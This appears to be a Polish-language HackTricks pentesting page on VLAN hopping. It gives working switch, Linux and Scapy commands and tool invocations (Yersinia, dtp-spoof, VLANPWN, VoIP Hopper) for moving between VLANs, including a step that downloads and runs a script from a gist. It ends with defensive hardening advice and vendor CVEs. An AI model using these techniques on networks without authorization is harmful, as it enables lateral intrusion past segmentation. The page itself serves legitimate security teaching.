Lateral VLAN Segmentation Bypass

Reading time: 8 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Jeśli dostęp do przełącznika jest możliwy, segmentacja VLAN może być obejściem. Obejmuje to ponowną konfigurację podłączonego portu w trybie trunk, ustanowienie wirtualnych interfejsów dla docelowych VLAN-ów oraz ustawienie adresów IP, zarówno dynamicznie (DHCP), jak i statycznie, w zależności od scenariusza (po więcej szczegółów sprawdź https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9).

Początkowo konieczne jest zidentyfikowanie konkretnego podłączonego portu. Zazwyczaj można to osiągnąć za pomocą komunikatów CDP lub poprzez wyszukiwanie portu za pomocą maski include.

Jeśli CDP nie działa, identyfikację portu można spróbować przeprowadzić, wyszukując adres MAC:

SW1(config)# show mac address-table | include 0050.0000.0500

Przed przełączeniem na tryb trunk, należy sporządzić listę istniejących VLAN-ów i określić ich identyfikatory. Identyfikatory te są następnie przypisywane do interfejsu, co umożliwia dostęp do różnych VLAN-ów przez trunk. Port w użyciu, na przykład, jest powiązany z VLAN 10.

SW1# show vlan brief

Przejście do trybu trunk wymaga wejścia w tryb konfiguracji interfejsu:

SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk

Przełączenie na tryb trunk spowoduje tymczasowe zakłócenie łączności, ale można ją później przywrócić.

Następnie tworzone są wirtualne interfejsy, przypisywane są identyfikatory VLAN i aktywowane:

bash
# Legacy (vconfig) – still works but deprecated in modern kernels
sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo vconfig add eth0 50
sudo vconfig add eth0 60
sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up

# Modern (ip-link – preferred)
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip link set eth0.10 up
sudo ip link set eth0.20 up
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60

Następnie żądanie adresu jest wysyłane za pomocą DHCP. Alternatywnie, w przypadkach, gdy DHCP nie jest możliwe, adresy można skonfigurować ręcznie:

bash
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20

Przykład ręcznego ustawiania statycznego adresu IP na interfejsie (VLAN 10):

bash
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
# or
sudo ip addr add 10.10.10.66/24 dev eth0.10

Łączność jest testowana poprzez inicjowanie żądań ICMP do domowych bramek dla VLAN-ów 10, 20, 50 i 60.

Ostatecznie, ten proces umożliwia obejście segmentacji VLAN, co ułatwia nieograniczony dostęp do każdej sieci VLAN i przygotowuje grunt pod kolejne działania.


Inne techniki VLAN-Hopping (bez uprzywilejowanego CLI przełącznika)

Poprzednia metoda zakłada uwierzytelniony dostęp do konsoli lub Telnet/SSH do przełącznika. W rzeczywistych sytuacjach atakujący zazwyczaj jest podłączony do zwykłego portu dostępowego. Następujące sztuczki warstwy 2 często pozwalają na lateralne przełączanie bez logowania się do systemu operacyjnego przełącznika:

1. Switch-Spoofing z Dynamic Trunking Protocol (DTP)

Przełączniki Cisco, które mają włączony DTP, chętnie negocjują trunk, jeśli partner twierdzi, że jest przełącznikiem. Stworzenie pojedynczej ramki DTP “desirable” lub “trunk” przekształca port dostępowy w trunk 802.1Q, który przenosi wszystkie dozwolone VLAN-y.

Yersinia i kilka PoC automatyzują ten proces:

bash
# Become a trunk using Yersinia (GUI)
sudo yersinia -G          # Launch GUI → Launch attack → DTP → enabling trunking

# Python PoC (dtp-spoof)
git clone https://github.com/fleetcaptain/dtp-spoof.git
sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable

Recon helper (pasywne identyfikowanie stanu DTP portu):

bash
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up

# or

wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
sudo python3 dtpscan.py -i eth0

Gdy port przełączy się na trunk, możesz utworzyć podinterfejsy 802.1Q i przejść dokładnie tak, jak pokazano w poprzedniej sekcji.

2. Double-Tagging (Nadużycie Native-VLAN)

Jeśli atakujący znajduje się na native (untagged) VLAN, skonstruowana ramka z dwoma nagłówkami 802.1Q może przeskoczyć do drugiego VLAN, nawet gdy port jest zablokowany w trybie dostępu. Narzędzia takie jak VLANPWN DoubleTagging.py (odświeżenie 2022-2025) automatyzują wstrzykiwanie:

bash
python3 DoubleTagging.py \
--interface eth0 \
--nativevlan 1 \
--targetvlan 20 \
--victim 10.10.20.24 \
--attacker 10.10.1.54

3. QinQ (802.1ad) Stacking

Wiele rdzeni przedsiębiorstw obsługuje Q-in-Q enkapsulację dostawcy usług. Gdzie to dozwolone, atakujący może tunelować dowolny ruch oznaczony 802.1Q wewnątrz dostawcy (S-tag), aby przekroczyć strefy bezpieczeństwa. Przechwyć dla ethertype 0x88a8 i spróbuj usunąć zewnętrzny tag za pomocą Scapy:

python
from scapy.all import *
outer = 100      # Service tag
inner = 30       # Customer / target VLAN
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")

4. Przechwytywanie Voice-VLAN za pomocą LLDP/CDP (Fałszowanie IP-Phone)

Porty dostępu w firmach często znajdują się w konfiguracji „dostęp + głos”: nieoznakowany VLAN danych dla stacji roboczej i oznakowany VLAN głosowy ogłaszany przez CDP lub LLDP-MED. Poprzez podszywanie się pod telefon IP, atakujący może automatycznie odkryć i przejść do VLAN VoIP — nawet gdy DTP jest wyłączone.

VoIP Hopper (zapakowany w Kali 2025.2) obsługuje CDP, opcje DHCP 176/242 oraz pełne fałszowanie LLDP-MED:

bash
# One-shot discovery & hop
sudo voiphopper -i eth0 -f cisco-7940

# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
sudo voiphopper -i eth0 -z

# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN

Technika ta omija separację danych/głosu i jest niezwykle powszechna w przełącznikach brzegowych przedsiębiorstw w 2025 roku, ponieważ auto-polityka LLDP jest domyślnie włączona w wielu modelach.


Rekomendacje obronne

  1. Wyłącz DTP na wszystkich portach skierowanych do użytkowników: switchport mode access + switchport nonegotiate.
  2. Zmień natywny VLAN na każdym trunku na niewykorzystany, czarny VLAN i oznacz go: vlan dot1q tag native.
  3. Przytnij niepotrzebne VLANy na trunkach: switchport trunk allowed vlan 10,20.
  4. Wprowadź zabezpieczenia portów, DHCP snooping, dynamiczną inspekcję ARP i 802.1X, aby ograniczyć nieautoryzowaną aktywność warstwy 2.
  5. Wyłącz polityki automatycznego głosu LLDP-MED (lub zablokuj je do uwierzytelnionych MAC OUI), jeśli spoofing telefonów IP nie jest wymagany.
  6. Preferuj prywatne VLANy lub segmentację L3 zamiast polegać wyłącznie na separacji 802.1Q.

Wrażliwości dostawców w rzeczywistym świecie (2022-2024)

Nawet idealnie zabezpieczona konfiguracja przełącznika może być podważona przez błędy oprogramowania układowego. Ostatnie przykłady obejmują:

  • CVE-2022-20728† – Cisco Aironet/Catalyst Access Points pozwalają na wstrzykiwanie z natywnego VLAN do nienatywnych VLANów WLAN, omijając segmentację przewodową/bezwładną.
  • CVE-2024-20465 (Cisco IOS Industrial Ethernet) pozwala na obejście ACL na SVI po przełączeniu protokołu Ethernet Resilient, wyciekając ruch między VRF/VLAN. Łatka 17.9.5 lub nowsza.

Zawsze monitoruj zalecenia dostawcy dotyczące problemów z omijaniem/ACL związanych z VLAN i utrzymuj aktualne obrazy infrastruktury.


Odnośniki

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks